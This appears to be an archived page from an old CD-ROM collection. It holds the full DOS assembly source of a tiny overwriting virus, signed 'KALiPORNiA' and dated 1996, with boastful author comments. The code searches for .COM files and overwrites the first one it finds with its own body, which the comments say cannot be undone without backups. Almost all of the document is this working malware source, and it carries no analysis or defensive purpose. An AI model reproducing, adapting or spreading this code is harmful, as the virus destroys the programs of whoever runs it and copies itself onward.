home *** CD-ROM | disk | FTP | other *** search
- ;AuVS.tiny.OVERWRITING.0001
-
- ;My 1st VIRUS!!!!!!!!!!!!!!
-
- ;This is an extremely simple overwriting, tiny virus, that is easy to
-
- ;detect, but there's not much to do to clean it if you have no backups
-
- ;F-PROT detects this as an unknown TRIVIAL variant
-
- START:
-
- mov ah,4Eh ;Find first *.COM file in current dir
-
- lea dx,OFFSET MASK ;*.COM
-
- xor cx,cx ;xero out da register
-
- int 21h ;find
-
- mov dx,009Eh ;file handle
-
- mov ax,3D01h ;open file for writing
-
- int 21h ;do it
-
- mov bx,ax ;put handle in bx
-
- mov ah,40h ;write to file
-
- mov cx,END - START ;find size of file even if modified
-
- lea dx,OFFSET START ;the START
-
- int 21h ;WRITE IT, DAMN IT!!
-
- int 20h ;END IT ALL
-
- Mask db '*.COM',0
-
- Copyright db 'Copyright `96, KALiPORNiA'
-
- VirusName db 'AuVS.TINY.OVERWRITING.0001'
-
- END:
-
-